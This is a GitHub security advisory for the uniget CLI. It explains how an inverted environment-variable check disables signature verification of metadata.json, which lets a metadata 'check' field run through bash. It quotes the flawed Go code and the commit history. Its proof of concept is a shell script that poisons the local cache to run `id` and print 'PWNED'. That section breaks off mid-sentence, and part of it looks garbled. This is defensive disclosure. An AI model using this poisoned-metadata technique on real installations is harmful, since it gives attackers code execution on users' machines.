GHSA-fhgh-wq4q-r37x
uniget CLI: Metadata signature verification only runs when UNIGET_IGNORE_METADATA_SIGNATURE is set
Summary
## Summary The sigstore check on `metadata.json` is gated on the wrong side of the condition. `LoadMetadata` in `internal/config/update.go:81` verifies the bundle only when `UNIGET_IGNORE_METADATA_SIGNATURE` is non-empty, so in a normal run, where nobody sets that variable, the signature is never checked. Setting the variable that is named "ignore the signature" is what turns verification on. That matters because `metadata.json` populates `Tool.Check`, and `pkg/tool/tool.go:250` runs `Tool.Check` through `/bin/bash -c`. That is the same sink as CVE-2026-45152, and the signature check added in v0.27.1 to close it is the control that no longer runs. ## Where it is `internal/config/update.go:80-100`: ```go func (c *Config) LoadMetadata(filename string) (loadedTools *tool.Tools, err error) { if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0 { _, err = security.VerifySigstoreBundle( filename, filename+".sigstore.json", ... ) if err != nil { return nil, fmt.Errorf("error verifying sigstore bundle for metadata: %s", err) } } loadedTools, err = tool.LoadFromFile(filename) ``` `cmd/uniget/main.go:102-105` carries the same flipped condition in the decision about whether to re-download metadata: ```go if !myos.FileExists(configuration.Prefix+"/"+configuration.GetMetadataFile()) || configuration.AutoUpdate || (len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0 && !myos.FileExists(configuration.Prefix+"/"+configuration.GetMetadataFile()+".sigstore.json")) { ``` so a cached `metadata.json` with no `.sigstore.json` beside it is not refetched either, as long as the variable is unset. `LoadMetadata` is called from `cmd/uniget/main.go:115` in the persistent pre-run, which means every subcommand loads metadata this way. The sink is `pkg/tool/tool.go:248-251`: ```go func (tool *Tool) RunVersionCheck() (string, error) { logging.Tracef("Running version check for %s: %s", tool.Name, tool.Check) cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'") ``` ## How it got this way The check was introduced correctly. In d12ef12c ("fix: Only accept signed metadata", released as v0.27.1) `VerifySigstoreBundle` was called unconditionally. 370d0155 then wrapped it in `if os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE") != "true"`, which is still the right polarity. b68a27d5 ("fix: Accept any non-empty value"), which is the commit tagged v0.27.4, rewrote that as `if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0`. The intent was clearly to accept any truthy value instead of the literal string "true", but the negation was dropped in the rewrite and the meaning flipped. ## Proof of concept Built from a clean checkout of the v0.28.2 tag with `go build -o /tmp/unigetbin ./cmd/uniget`, then run in user mode against a poisoned cache with no `metadata.json.sigstore.json` present and `UNIGET_IGNORE_METADATA_SIGNATURE` explicitly removed from the environment. ```bash H=/tmp/pochome mkdir -p $H/.cache/uniget $H/.local/state/uniget/manifests $H/.local/bin $H/.config/uniget $H/.cache/uniget/evil cat > $H/.cache/uniget/metadata.json /tmp/uniget-rce-proof.txt; echo PWNED","tags":["test"], "description":"poisoned metadata","repository":"https://example.com", "license":{"name":"MIT","link":"https://example.com"}, "sources":[{"registry":"ghcr.io","repository":"uniget-org/tools"}]}]} EOF printf '#!/bin/sh\necho 1.0.0\n' > $H/.local/bin/evil; chmod +x $H/.local/bin/evil touch $H/.cache/uniget/evil/1.0.0 env -u UNIGET_IGNORE_METADATA_SIGNATURE HOME=$H XDG_CACHE_HOME=$H/.cache \ XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \ /tmp/unigetbin --user version evil ``` Observed output: ```text PWNED ``` and `/tmp/uniget-rce-proof.txt` contains the output of `id`. No signature error was raised, even though there is no bundle file at all. The control run is the part that pins down the polarity. Same c
Affected packages
| Ecosystem | Package | Affected versions | Fixed versions |
|---|---|---|---|
| Go | gitlab.com/uniget-org/cli | — | 0.28.9 |
Remediation: Upgrade to 0.28.9 or later.
References
Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.